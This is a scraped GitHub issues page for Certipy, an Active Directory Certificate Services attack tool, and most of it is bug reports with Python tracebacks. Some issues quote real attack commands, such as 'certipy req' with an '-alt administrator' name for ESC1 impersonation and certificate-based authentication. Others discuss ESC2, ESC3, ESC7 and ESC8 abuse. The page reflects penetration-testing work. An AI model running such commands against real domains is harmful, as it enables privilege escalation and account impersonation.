adrianvollmer avatar antuache avatar clayno avatar cykutw avatar elan0r avatar f3rn0s avatar ly4k avatar mubix avatar nurfed1 avatar patralos avatar raosridhar avatar rtpt-erikgeiser avatar saerxcit avatar shikatano avatar skriep avatar snovvcrash avatar sploutchy avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

certipy's Issues

Public key does not meet the minimum size...

Hello @ly4k and thank you for this amazing tool! 🙏

I wanted to share with you a slight issue I encountered during a pentest. I was trying to exploit the ESC1 vulnerability and got the following error.

certipy req 'DOMAIN/USER:PASS@AC_FQDN' -dc DC_FQDN -ca 'Sub Authority 1' -template 'Whatever' -alt 'administrator@DOMAIN_FQDN' 
Certipy v3.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate
[-] Got error while trying to request certificate: code: 0x80094811 - CERTSRV_E_KEY_LENGTH - The public key does not meet the minimum size required by the specified certificate template.
[*] Request ID is 39694
Would you like to save the private key? (y/N)

The error message is pretty clear so I searched for the code where the key size is set.

return rsa.generate_private_key(public_exponent=0x10001, key_size=2048)

I changed the key_size value from 2048 to 4096, and it worked perfectly fine afterwards.

I'm not sure how you would handle this:

  • You could hardcode the value 4096 (instead of 2048), but this could cause compatibility issues with older infrastructures?
  • You could add a command line option so that one can specify a different key size value.

ESC7 - Error when attempting to add an officer

When attemting to exploit ESC7 and the account I use for authentication does not have the right Manage Certificates, I must add that account as a new officer in order to grant the account that right. This fails for me using Certipy 2.0.6.
esc7_dc1

Once this works, can I delete/remove the officer and possibly other remaining changes after the attack?

ValueError: nameserver None is not an IP address or valid https URL

Hello!
I'm trying to dump the AD with bloodhound and the find action, but I have this error.
Tested on a recently install Kali Linux 2022.1 with Python 3.9.10

-] Got error: nameserver None is not an IP address or valid https URL
Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/dns/resolver.py", line 982, in nameservers
raise NotImplementedError
NotImplementedError

and the command is:
certipy find 'domain/user:[email protected]' -debug -bloodhound
I have tried with thr fqdn and name only of the DC with the same results. If I ping using the names, works without issues.

Thanks in advance.

ESC4 Shadow user problem

Why can I only use Find Misconfigured Certificate Templates for the bloodHound zip package I generated with certipy?
Using Shortest Paths to Misconfigured Certificate Templates from Owned Principals will show NO DATA RETURNED FROM QUERY。
ESC1-3 I didn't use BloodHound to complete the test, but I don't understand how the JOHNPC in your article ESC4 came from. I know from your article that there is such a user in BloodHound, please can you tell me JOHNPC what is going on.

ESC2 and ESC3 - "The data is invalid. 0x8007000d (WIN32: 13 ERROR_INVALID_DATA)".

Hi. I am testing the new version of your great tool. Unfortunately I get an error when testing the ESC2 and ESC3 attacks. Note that I can successfully exploit ESC1.

ESC2 attack. The template "ESC2" is configured with the EKU "Any Purpose". First I request a certificate for domainuser1 (low priv.). The resutling certificate will act as the enrollment agent in the next step.
esc2_1

Then I use the file "domainuser1.pfx" to request a certificate for Administrator but then I get the error. The template "User" is configured as per default. Don't mind the different request IDs, I caused that.
esc2_2

ESC3 attack. The template "ESC3" is configured with the EKU "Certificate Request Agent". First I request a certificate for domainuser1 (low priv.). The resutling certificate will act as the enrollment agent in the next step.
esc3_1

Then I use the file "domainuser1.pfx" to request a certificate for Administrator but then I get the error. The template "User" is configured as per default. Again, don't mind the different request IDs...
esc3_2

Tag releases

Could you please tag the source? This allows distributions to get the complete source from GitHub and version the packages properly (e.g., NixOS/nixpkgs#145126).

Thanks

Which abuse scenarious are supported by this tool?

Hi. Thank you very much for your effort writing this tool. I have successfully used it in the scenarios with technique IDs ESC1 and ESC2 in Will Schroeder's and Lee Christensen's whitepaper. Both manually and automatically. I have a few questions:

  1. In automatic mode, can you force the use of a specific certificate template? This is not really needed but could be valuable in penetration testing reports in order to "prove" that specific templates are vulnerable. I could of course abuse them manually but now that your tool has this nice automatic feature I want to use that :)

  2. Which other scenarious are supported by this tool? For example technique ID ESC6. If not, are you planning to implement this? FYI. Certi.py does not support ESC6 which forces you to use Rubeus on a domain-joined machine which is far from optimal and not something I really want to do.

Name mismatch between certificate and user even though they match

So I've got a few certs identified with ESC1 possible and I'm able to request certificate with -alt otheruser and output looks like this:

[+] Trying to resolve 'CA.FULL.DOMAIN.COM' at '192.168.1.101'
[*] Requesting certificate
[+] Trying to resolve dynamic endpoint '91AE6020-xxxxxx'
[+] Resolved dynamic endpoint '91AE6020-xxxxx' to 'ncacn_ip_tcp:192.168.1.101[59431]'
[+] Trying to connect to endpoint: ncacn_ip_tcp:192.168.1.101[59431]
[+] Connected to endpoint: ncacn_ip_tcp:192.1681.101[59431]
[*] Successfully requested certificate
[*] Request ID is 5063
[*] Got certificate with UPN 'otheruser'
[*] Saved certificate and private key to 'otheruser.pfx'

However, when I run:
certipy auth -pfx otheruser.pfx -username 'otheruser' -domain 'full.domain.com' -dc-ip 192.168.1.100 I get:

[*] Using principal: [email protected]
[*] Trying to get TGT...
[-] Name mismatch between certificate and user otheruser'
[-] Verify that the username 'otheruser' matches the certificate UPN: otheruser

CA Server is 2016. I've tried multiple vulnerable certs as well as just running without the alt flag but no luck.

missing 1 required positional argument: 'backend'

Hey,

I'm currently trying to retrieve a certificate from a CA-Server via 'req' command. Got the following error all the time:

[-] Got error: generate_private_key() missing 1 required positional argument: 'backend'
Traceback (most recent call last):
  File "/usr/local/lib/python3.9/dist-packages/Certipy-2.0.6-py3.9.egg/certipy/entry.py", line 62, in main
    actions[options.action](options)
  File "/usr/local/lib/python3.9/dist-packages/Certipy-2.0.6-py3.9.egg/certipy/request.py", line 326, in entry
    request.request()
  File "/usr/local/lib/python3.9/dist-packages/Certipy-2.0.6-py3.9.egg/certipy/request.py", line 213, in request
    csr, key = create_csr(username, alt_name=self.alt_name)
  File "/usr/local/lib/python3.9/dist-packages/Certipy-2.0.6-py3.9.egg/certipy/certificate.py", line 119, in create_csr
    key = generate_rsa_key()
  File "/usr/local/lib/python3.9/dist-packages/Certipy-2.0.6-py3.9.egg/certipy/certificate.py", line 112, in generate_rsa_key
    return rsa.generate_private_key(public_exponent=0x10001, key_size=2048)
TypeError: generate_private_key() missing 1 required positional argument: 'backend'

Some idea what the cause could be ? CA, Template and or Altname were specified here.

Greetings

Got error: 'NoneType' object has no attribute 'request'

I am attempting to perform a certificate request using the current version of certipy.

I've ran the setup and did not see any issues/errors.

When attempting the req I am getting a error concerning the request attribute.

Below is the output from the command as well as the output from the command with the suggested -debug option.

============================

user4@kali:/usr/share/Certipy# certipy req 'domain/usertest:redacted@dc3' -ca ca3 -template User
Certipy v3.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate
[-] Failed to get dynamic TCP endpoint for CertSvc
[-] Got error: 'NoneType' object has no attribute 'request'
[-] Use -debug to print a stacktrace

===========================

root@kali-tb:/usr/share/Certipy# certipy req 'domain/usertest:redacted@dc3' -ca ca3 -template User -debug
Certipy v3.0.0 - by Oliver Lyak (ly4k)

[+] Trying to resolve 'dc3' at '192.168.202.2'
[+] Generating RSA key
[*] Requesting certificate
[+] Trying to connect to endpoint: ncacn_np:192.168.0.31[\pipe\cert]
[!] Failed to connect to endpoint ncacn_np:192.168.0.31[\pipe\cert]: SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND(The object name is not found.)
[+] Trying to resolve dynamic endpoint 'redacted'
[+] Failed to resolve dynamic endpoint 'redacted'
[-] Failed to get dynamic TCP endpoint for CertSvc
[-] Got error: 'NoneType' object has no attribute 'request'
Traceback (most recent call last):
File "/usr/local/lib/python3.9/dist-packages/Certipy-3.0.0-py3.9.egg/certipy/entry.py", line 85, in main
actionsoptions.action
File "/usr/local/lib/python3.9/dist-packages/Certipy-3.0.0-py3.9.egg/certipy/request.py", line 334, in entry
request.request()
File "/usr/local/lib/python3.9/dist-packages/Certipy-3.0.0-py3.9.egg/certipy/request.py", line 256, in request
response = self.dce.request(request)
AttributeError: 'NoneType' object has no attribute 'request'

Support specifying arbitrary subject in CSR

In a recent test, I discovered a template with EnrolleeSuppliesSubject as its Certificate Name Flag. In theory, that means I should be able to specify any subject I like in the CSR and get back a certificate to match. It doesn't seem like certipy supports doing that, though. The req command supports "-alt" to specify a subjectAlternateName, but that's not what we need here.

I may try to write a patch to add this support. Any suggestions on how to go about that in keeping with the style of the project would be welcome. Maybe a new -subject option to req? Maybe support providing your own CSR?

ESC8 - Error when requesting the NT hash of a DC's machine account

I successfully used Certipy 2.0.6 and Dementor to execute the ESC8 attack relaying authentication from a DC to ADCS. Once I got the certificate for the DC's machine account I used that to request the NT hash of the machine account. This works as long as I do not use the flag "-ns 10.0.0.200". This is strange since I have to use that flag when executing more or less all other Certipy commands.
esc8

The error message suggests this happens due to some temporary network hickup or that the DNS service is down but that is not the case.

Incorrect user label for computer nodes with certificate permissions

Hello,
when importing the data into Bloodhound, the label User is sometimes set additionally at computer nodes. As far as I could trace in the code, it is assumed that only groups or a users can have owner or enrollment permissions. But it is also possible for other objects like computers. The affected code snippets are probably these:

owner_type = "Group" if "group" in owner.get("objectClass") else "User"

"Group" if "group" in principal.get("objectClass") else "User"

The result for a computer object in neo4j looks like this:

{
  "identity": 1337,
  "labels": [
    "Base",
    "User",
    "Computer"
  ],
...

This also leads to the fact that these computers are displayed as users in Bloodhound.

TypeError: 'type' object is not subscriptable

When running certipy I'm getting the following:

# certipy
Traceback (most recent call last):
  File "/usr/local/bin/certipy", line 11, in <module>
    load_entry_point('Certipy==2.0', 'console_scripts', 'certipy')()
  File "/usr/lib/python3/dist-packages/pkg_resources/__init__.py", line 490, in load_entry_point
    return get_distribution(dist).load_entry_point(group, name)
  File "/usr/lib/python3/dist-packages/pkg_resources/__init__.py", line 2854, in load_entry_point
    return ep.load()
  File "/usr/lib/python3/dist-packages/pkg_resources/__init__.py", line 2445, in load
    return self.resolve()
  File "/usr/lib/python3/dist-packages/pkg_resources/__init__.py", line 2451, in resolve
    module = __import__(self.module_name, fromlist=['__name__'], level=0)
  File "/usr/local/lib/python3.8/dist-packages/Certipy-2.0-py3.8.egg/certipy/entry.py", line 8, in <module>
    from certipy import auth, ca, find, forge, relay, request, shadow, template, version
  File "/usr/local/lib/python3.8/dist-packages/Certipy-2.0-py3.8.egg/certipy/shadow.py", line 22, in <module>
    class Shadow:
  File "/usr/local/lib/python3.8/dist-packages/Certipy-2.0-py3.8.egg/certipy/shadow.py", line 54, in Shadow
    def get_key_credentials(self, target_dn: str, user: LDAPEntry) -> list[bytes]:
TypeError: 'type' object is not subscriptable

Got error: 'NoneType' object has no attribute 'owner'

I could be stupid however, I'm running certipy 4.0 using sudo and getting this as a Traceback

[*] Trying to get CA configuration for 'redacted' via RRP
[+] Connected to remote registry at 'redacted' (10.x.x.x)
[*] Got CA configuration for 'redacted'
[+] Resolved 'redacted' from cache: 10.x.x.x
[+] Connecting to 10.x.x.x:80

File "/usr/local/lib/python3.10/dist-packages/Certipy-4.0.0-py3.10.egg/certipy/entry.py", line 60, in main
    actions[options.action](options)
  File "/usr/local/lib/python3.10/dist-packages/Certipy-4.0.0-py3.10.egg/certipy/commands/parsers/find.py", line 12, in entry
    find.entry(options)
  File "/usr/local/lib/python3.10/dist-packages/Certipy-4.0.0-py3.10.egg/certipy/commands/find.py", line 1142, in entry
    find.find()
  File "/usr/local/lib/python3.10/dist-packages/Certipy-4.0.0-py3.10.egg/certipy/commands/find.py", line 435, in find
    self.output_bloodhound_data(prefix, templates, cas)
  File "/usr/local/lib/python3.10/dist-packages/Certipy-4.0.0-py3.10.egg/certipy/commands/find.py", line 586, in output_bloodhound_data
    aces = self.security_to_bloodhound_aces(security)
  File "/usr/local/lib/python3.10/dist-packages/Certipy-4.0.0-py3.10.egg/certipy/commands/find.py", line 739, in security_to_bloodhound_aces
    owner = self.connection.lookup_sid(security.owner)
AttributeError: 'NoneType' object has no attribute 'owner'


thanks for the help

TypeError: 'type' object is not subscriptable

I installed as local user on Windows 10 using Python38. I tried running 'certipy -h' and this error resulted. Please advise. Full console output:

Traceback (most recent call last):
File "C:\Users<redacted>\AppData\Roaming\Python\Python38\Scripts\certipy-script.py", line 33, in
sys.exit(load_entry_point('Certipy==0.2', 'console_scripts', 'certipy')())
File "C:\Users<redacted>\AppData\Roaming\Python\Python38\Scripts\certipy-script.py", line 25, in importlib_load_entry_point
return next(matches).load()
File "C:\Program Files\Python38\lib\importlib\metadata.py", line 77, in load
module = import_module(match.group('module'))
File "C:\Program Files\Python38\lib\importlib_init_.py", line 127, in import_module
return _bootstrap._gcd_import(name[level:], package, level)
File "", line 1014, in _gcd_import
File "", line 991, in _find_and_load
File "", line 975, in _find_and_load_unlocked
File "", line 655, in _load_unlocked
File "", line 618, in _load_backward_compatible
File "", line 259, in load_module
File "C:\Users<redacted>\AppData\Roaming\Python\Python38\site-packages\certipy-0.2-py3.8.egg\certipy\entry.py", line 16, in
File "", line 991, in _find_and_load
File "", line 975, in _find_and_load_unlocked
File "", line 655, in _load_unlocked
File "", line 618, in _load_backward_compatible
File "", line 259, in load_module
File "C:\Users<redacted>\AppData\Roaming\Python\Python38\site-packages\certipy-0.2-py3.8.egg\certipy\auto.py", line 17, in
File "", line 991, in _find_and_load
File "", line 975, in _find_and_load_unlocked
File "", line 655, in _load_unlocked
File "", line 618, in _load_backward_compatible
File "", line 259, in load_module
File "C:\Users<redacted>\AppData\Roaming\Python\Python38\site-packages\certipy-0.2-py3.8.egg\certipy\find.py", line 25, in
File "", line 991, in _find_and_load
File "", line 975, in _find_and_load_unlocked
File "", line 655, in _load_unlocked
File "", line 618, in _load_backward_compatible
File "", line 259, in load_module
File "C:\Users<redacted>\AppData\Roaming\Python\Python38\site-packages\certipy-0.2-py3.8.egg\certipy\constants.py", line 20, in
File "", line 991, in _find_and_load
File "", line 975, in _find_and_load_unlocked
File "", line 655, in _load_unlocked
File "", line 618, in _load_backward_compatible
File "", line 259, in load_module
File "C:\Users<redacted>\AppData\Roaming\Python\Python38\site-packages\certipy-0.2-py3.8.egg\certipy\structs.py", line 12, in
File "", line 991, in _find_and_load
File "", line 975, in _find_and_load_unlocked
File "", line 655, in _load_unlocked
File "", line 618, in _load_backward_compatible
File "", line 259, in load_module
File "C:\Users<redacted>\AppData\Roaming\Python\Python38\site-packages\certipy-0.2-py3.8.egg\certipy\formatting.py", line 11, in
TypeError: 'type' object is not subscriptable

Error "SSL: NO_CIPHERS_AVAILABLE" when doing a "find"

Hello!

Hopefully you're not tired of me yet :-). I might have another "it's only me" issue, but I'm in a new environment where I've pulled a TGT for the account I pwned, and now I want to do a "find" with certipy. When I conduct the "find" I get this in the debug:

[-] Got error: ("('socket ssl wrapping error: [SSL: NO_CIPHERS_AVAILABLE] no ciphers available (_ssl.c:997)',)",)
Traceback (most recent call last):
  File "/usr/local/lib/python3.10/dist-packages/Certipy-3.0.0-py3.10.egg/certipy/ldap.py", line 53, in connect
    self.connect(version=ssl.PROTOCOL_TLSv1_2)
  File "/usr/local/lib/python3.10/dist-packages/Certipy-3.0.0-py3.10.egg/certipy/ldap.py", line 85, in connect
    self.LDAP3KerberosLogin(ldap_conn)
  File "/usr/local/lib/python3.10/dist-packages/Certipy-3.0.0-py3.10.egg/certipy/ldap.py", line 167, in LDAP3KerberosLogin
    connection.open(read_server_info=True)
  File "/usr/lib/python3/dist-packages/ldap3/strategy/sync.py", line 56, in open
    BaseStrategy.open(self, reset_usage, read_server_info)
  File "/usr/lib/python3/dist-packages/ldap3/strategy/base.py", line 145, in open
    raise exception_history[0][0]
ldap3.core.exceptions.LDAPSocketOpenError: socket ssl wrapping error: [Errno 104] Connection reset by peer

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/local/lib/python3.10/dist-packages/Certipy-3.0.0-py3.10.egg/certipy/entry.py", line 85, in main
    actions[options.action](options)
  File "/usr/local/lib/python3.10/dist-packages/Certipy-3.0.0-py3.10.egg/certipy/find.py", line 736, in entry
    find.find()
  File "/usr/local/lib/python3.10/dist-packages/Certipy-3.0.0-py3.10.egg/certipy/find.py", line 116, in find
    certificate_templates = self.get_certificate_templates()
  File "/usr/local/lib/python3.10/dist-packages/Certipy-3.0.0-py3.10.egg/certipy/find.py", line 691, in get_certificate_templates
    certificate_templates = self.connection.search(
  File "/usr/local/lib/python3.10/dist-packages/Certipy-3.0.0-py3.10.egg/certipy/find.py", line 109, in connection
    self._connection.connect()
  File "/usr/local/lib/python3.10/dist-packages/Certipy-3.0.0-py3.10.egg/certipy/ldap.py", line 59, in connect
    self.connect(version=ssl.PROTOCOL_TLSv1)
  File "/usr/local/lib/python3.10/dist-packages/Certipy-3.0.0-py3.10.egg/certipy/ldap.py", line 85, in connect
    self.LDAP3KerberosLogin(ldap_conn)
  File "/usr/local/lib/python3.10/dist-packages/Certipy-3.0.0-py3.10.egg/certipy/ldap.py", line 167, in LDAP3KerberosLogin
    connection.open(read_server_info=True)
  File "/usr/lib/python3/dist-packages/ldap3/strategy/sync.py", line 56, in open
    BaseStrategy.open(self, reset_usage, read_server_info)
  File "/usr/lib/python3/dist-packages/ldap3/strategy/base.py", line 145, in open
    raise exception_history[0][0]
ldap3.core.exceptions.LDAPSocketOpenError: ("('socket ssl wrapping error: [SSL: NO_CIPHERS_AVAILABLE] no ciphers available (_ssl.c:997)',)",)

I'm running python 3.10.4 on Kali.

Problems with passwords that contain '#' ?

Hello,

I'm using certipy on a pentest where my AD account password has '#' in it. When I run a 'certipy find' I get the below error in the output. I am running the latest/greatest certipy on 2 different pentests right now, and on the pentest where my password is just upper/lower/numbers (and a special character that is not a '#'), certipy runs fine.

[*] Finding certificate templates
[+] Authenticating to LDAP server
[-] Got error: PY_SSIZE_T_CLEAN macro must be defined for '#' formats
Traceback (most recent call last):
  File "/usr/lib/python3.10/hashlib.py", line 160, in __hash_new
    return _hashlib.new(name, data, **kwargs)
ValueError: [digital envelope routines] unsupported

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/ldap3/utils/ntlm.py", line 497, in ntowf_v2
    password_digest = hashlib.new('MD4', self._password.encode('utf-16-le')).digest()
  File "/usr/lib/python3.10/hashlib.py", line 166, in __hash_new
    return __get_builtin_constructor(name)(data)
  File "/usr/lib/python3.10/hashlib.py", line 123, in __get_builtin_constructor
    raise ValueError('unsupported hash type ' + name)
ValueError: unsupported hash type MD4

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/local/lib/python3.10/dist-packages/Certipy-3.0.0-py3.10.egg/certipy/entry.py", line 85, in main
    actions[options.action](options)
  File "/usr/local/lib/python3.10/dist-packages/Certipy-3.0.0-py3.10.egg/certipy/find.py", line 736, in entry
    find.find()
  File "/usr/local/lib/python3.10/dist-packages/Certipy-3.0.0-py3.10.egg/certipy/find.py", line 116, in find
    certificate_templates = self.get_certificate_templates()
  File "/usr/local/lib/python3.10/dist-packages/Certipy-3.0.0-py3.10.egg/certipy/find.py", line 691, in get_certificate_templates
    certificate_templates = self.connection.search(
  File "/usr/local/lib/python3.10/dist-packages/Certipy-3.0.0-py3.10.egg/certipy/find.py", line 109, in connection
    self._connection.connect()
  File "/usr/local/lib/python3.10/dist-packages/Certipy-3.0.0-py3.10.egg/certipy/ldap.py", line 53, in connect
    self.connect(version=ssl.PROTOCOL_TLSv1_2)
  File "/usr/local/lib/python3.10/dist-packages/Certipy-3.0.0-py3.10.egg/certipy/ldap.py", line 100, in connect
    bind_result = ldap_conn.bind()
  File "/usr/lib/python3/dist-packages/ldap3/core/connection.py", line 621, in bind
    response = self.do_ntlm_bind(controls)
  File "/usr/lib/python3/dist-packages/ldap3/core/connection.py", line 1388, in do_ntlm_bind
    request = bind_operation(self.version, 'SICILY_RESPONSE_NTLM', ntlm_client,
  File "/usr/lib/python3/dist-packages/ldap3/operation/bind.py", line 81, in bind_operation
    server_creds = name.create_authenticate_message()
  File "/usr/lib/python3/dist-packages/ldap3/utils/ntlm.py", line 379, in create_authenticate_message
    nt_challenge_response = self.compute_nt_response()
  File "/usr/lib/python3/dist-packages/ldap3/utils/ntlm.py", line 485, in compute_nt_response
    response_key_nt = self.ntowf_v2()
  File "/usr/lib/python3/dist-packages/ldap3/utils/ntlm.py", line 501, in ntowf_v2
    password_digest = MD4.new(self._password.encode('utf-16-le')).digest()
SystemError: PY_SSIZE_T_CLEAN macro must be defined for '#' formats

Object class logic suggestion

Hey there,

Great job with Certipy! It's making it much easier for people to analyze attack paths that include abusing ADCS configurations.

The logic for determining whether the AD object listed as the Identity Reference on an ACE or the Owner on the DACL is here: https://github.com/ly4k/Certipy/blob/main/certipy/find.py#L566-L581

However, this logic sometimes does not correctly determine whether the object is a Group (screenshot shows output from Certipy, showing the Domain Users SID as being a "User").

Screen Shot 2022-05-17 at 9 41 57 AM

This causes the node in the neo4j database to have two labels if the user has also imported data from SharpHound output. Then, queries involving traversing group delegated privilege relationships break, as neo4j doesn't disambiguate between a node being one label or the other.

I might recommend using SAMAccountType instead of objectClass for determining what type of object a SID is associated with. You can see an example for how we do this in SharpHound here: https://github.com/BloodHoundAD/SharpHoundCommon/blob/7e32afd73eccb8656be728c6e3565ea41353e926/test/unit/LDAPFilterTest.cs

Thanks and great work with Certipy!

Andy

Formatting question for "ESC1 - SAN Impersonation" attack

Hello!

I've got an environment where I've run the Certipy enumeration and have a template vulnerable to ESC1. I've requested a TGT for my "standard" user using GetTGT from impacket. And then I've launched Certipy as follows:

certipy 'NETBIOS-NAME-OF-DOMAIN/regularuser@VULN-CA-SERVER' -debug -dc-ip IP.OF.DOMAIN.CONTROLLER -k -no-pass req template 'VULNERABLETEMPLATE' -ca 'CA-NAME' -alt 'DOMAIN-ADMIN'

When this runs, I get:

[+] Trying to resolve 'VULN-CA-SERVER' at 'IP-OF-DC'
[+] Connecting to SMB at 'VULN-CA-SERVER' 
[+] Using Kerberos Cache: regularuser.ccache
[+] SPN CIFS/VULN-CA-SERVER.DOMAIN.COM@NETBIOS-NAME-OF-DOMAIN not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] SPN KRBTGT/NETBIOS-NAME-OF-DOMAIN@NETBIOS-NAME-OF-DOMAIN not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] No valid credentials found in cache.

This is followed by a traceback and tons of python errors. Do I have a syntax error? I'm not sure what the expected output should look like.

Thanks,
Brian

[*] Trying to get TGT... [-] Got error: <Int32 value object, tagSet <TagSet object...

Hello, I'm currently experiencing an error with authenticating a certificate from ESC1. See the following:

└─$ certipy auth -pfx myusercertificate.pfx
Certipy v2.0.9 - by Oliver Lyak (ly4k)

[*] Using principal: [email protected]
[*] Trying to get TGT...
[-] Got error: <Int32 value object, tagSet <TagSet object, tags 0:0:2-128:32:6>, subtypeSpec <ConstraintsIntersection object, consts <ValueRangeConstraint object, consts -2147483648, 2147483647>>, payload [77]>
[-] Use -debug to print a stacktrace 

Here is the output when I add the debug flag:

└─$ certipy auth -pfx alexap.pfx -debug
Certipy v2.0.9 - by Oliver Lyak (ly4k)

[+] Trying to resolve 'domain.local' at '192.168.21.10'
[*] Using principal: [email protected]
[*] Trying to get TGT...
[+] Trying to connect to KDC at 192.168.221.11
[+] Server time (UTC): 2022-03-08 21:00:08
[-] Got error: <Int32 value object, tagSet <TagSet object, tags 0:0:2-128:32:6>, subtypeSpec <ConstraintsIntersection object, consts <ValueRangeConstraint object, consts -2147483648, 2147483647>>, payload [77]>
Traceback (most recent call last):
  File "/usr/local/lib/python3.9/dist-packages/Certipy-2.0.9-py3.9.egg/certipy/auth.py", line 194, in authenticate
    tgt = sendReceive(encoder.encode(as_req), domain, self.target.target_ip)
  File "/usr/lib/python3/dist-packages/impacket/krb5/kerberosv5.py", line 91, in sendReceive
    raise krbError
impacket.krb5.kerberosv5.KerberosError: <unprintable KerberosError object>

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/local/lib/python3.9/dist-packages/Certipy-2.0.9-py3.9.egg/certipy/entry.py", line 83, in main
    actions[options.action](options)
  File "/usr/local/lib/python3.9/dist-packages/Certipy-2.0.9-py3.9.egg/certipy/auth.py", line 438, in entry
    authenticate.authenticate()
  File "/usr/local/lib/python3.9/dist-packages/Certipy-2.0.9-py3.9.egg/certipy/auth.py", line 196, in authenticate
    if "KDC_ERR_CLIENT_NAME_MISMATCH" in str(e) and not is_key_credential:
  File "/usr/lib/python3/dist-packages/impacket/krb5/kerberosv5.py", line 736, in __str__
    retString = 'Kerberos SessionError: %s(%s)' % (constants.ERROR_MESSAGES[self.error])
KeyError: <Int32 value object, tagSet <TagSet object, tags 0:0:2-128:32:6>, subtypeSpec <ConstraintsIntersection object, consts <ValueRangeConstraint object, consts -2147483648, 2147483647>>, payload [77]>

Has any experienced this issue or found a workaround with another tool?

AttributeError: 'Namespace' object has no attribute 'json'

Please tell me, my current environment is python3.9, when executed, Certipy 'test/join:[email protected]' auto, the following error appears, is there any solution?

Traceback (most recent call last):
File "/usr/local/bin/certipy", line 33, in
sys.exit(load_entry_point('Certipy==0.2', 'console_scripts', 'certipy')())
File "/usr/local/lib/python3.9/dist-packages/Certipy-0.2-py3.9.egg/certipy/entry.py", line 176, in main
File "/usr/local/lib/python3.9/dist-packages/Certipy-0.2-py3.9.egg/certipy/auto.py", line 29, in auto
File "/usr/local/lib/python3.9/dist-packages/Certipy-0.2-py3.9.egg/certipy/find.py", line 474, in init
AttributeError: 'Namespace' object has no attribute 'json'

LDAP.py fails with SSL error

With Python 3.7, 3.8 and 3.9, Certipy fails with SSL errors originating from ldap.py.

This seems to be similar to the this issue with Impacket. Is there a quick fix?

root@workstation:/home/user# certipy domain.org/[email protected] find
Password:
Traceback (most recent call last):
  File "/usr/local/bin/certipy", line 11, in <module>
    load_entry_point('Certipy==0.2', 'console_scripts', 'certipy')()
  File "/usr/local/lib/python3.9/dist-packages/Certipy-0.2-py3.9.egg/certipy/entry.py", line 170, in main
  File "/usr/local/lib/python3.9/dist-packages/Certipy-0.2-py3.9.egg/certipy/find.py", line 846, in find
  File "/usr/local/lib/python3.9/dist-packages/Certipy-0.2-py3.9.egg/certipy/find.py", line 506, in run
  File "/usr/local/lib/python3.9/dist-packages/Certipy-0.2-py3.9.egg/certipy/find.py", line 495, in connect
  File "/usr/local/lib/python3.9/dist-packages/Certipy-0.2-py3.9.egg/certipy/ldap.py", line 72, in connect
  File "/usr/local/lib/python3.9/dist-packages/impacket/ldap/ldap.py", line 122, in __init__
    self._socket.do_handshake()
  File "/usr/lib/python3/dist-packages/OpenSSL/SSL.py", line 1915, in do_handshake
    self._raise_ssl_error(self._ssl, result)
  File "/usr/lib/python3/dist-packages/OpenSSL/SSL.py", line 1647, in _raise_ssl_error
    _raise_current_error()
  File "/usr/lib/python3/dist-packages/OpenSSL/_util.py", line 54, in exception_from_error_queue
    raise exception_type(errors)
OpenSSL.SSL.Error: [('SSL routines', 'state_machine', 'internal error')]

RRP SessionError: code 0x2

Hi, I just tried certipy and I have some issues to find and get bloodhound output. It correctly finds multiple certificate templates and 4 certificate authorities, then tries to connect to all of them, 3 work, and one fails with the following:

[-] Got error: RRP SessionError: code: 0x2 - ERROR_FILE_NOT_FOUND - The system cannot find the file specified.
Traceback (most recent call last):
  File "C:\Users\username\.virtualenvs\Certipy-q9BFJWE2\lib\site-packages\certipy\entry.py", line 62, in main
    actions[options.action](options)
  File "C:\Users\username\.virtualenvs\Certipy-q9BFJWE2\lib\site-packages\certipy\find.py", line 813, in entry
    find.find()
  File "C:\Users\username\.virtualenvs\Certipy-q9BFJWE2\lib\site-packages\certipy\find.py", line 156, in find
    edit_flags, request_disposition, security = self.get_ca_security(
  File "C:\Users\username\.virtualenvs\Certipy-q9BFJWE2\lib\site-packages\certipy\find.py", line 686, in get_ca_security
    policy_key = rrp.hBaseRegOpenKey(
  File "C:\Users\username\.virtualenvs\Certipy-q9BFJWE2\lib\site-packages\impacket-0.9.24-py3.10.egg\impacket\dcerpc\v5\rrp.py", line 874, in hBaseRegOpenKey
    return dce.request(request)
  File "C:\Users\username\.virtualenvs\Certipy-q9BFJWE2\lib\site-packages\impacket-0.9.24-py3.10.egg\impacket\dcerpc\v5\rpcrt.py", line 880, in request
    raise exception
impacket.dcerpc.v5.rrp.DCERPCSessionError: RRP SessionError: code: 0x2 - ERROR_FILE_NOT_FOUND - The system cannot find the file specified.

The CA server has to do something with skype for business I guess, don't know if that helps.

Does it actually have to enumerate all servers?

Unable to find named pipes/endpoints

Hi. I love your tool but I currently am facing an issue in Certipy 3.0.0. (main). I will describe the issues below but I cannot post any screenshots for obvious reasons.

I client of mine is running ADCS on a Server 2019 machine which is not a domain controller. The web interface is enabled and there are multiple vulnerable custom certificate templates. There are however many restrictions on who can enroll certificates.

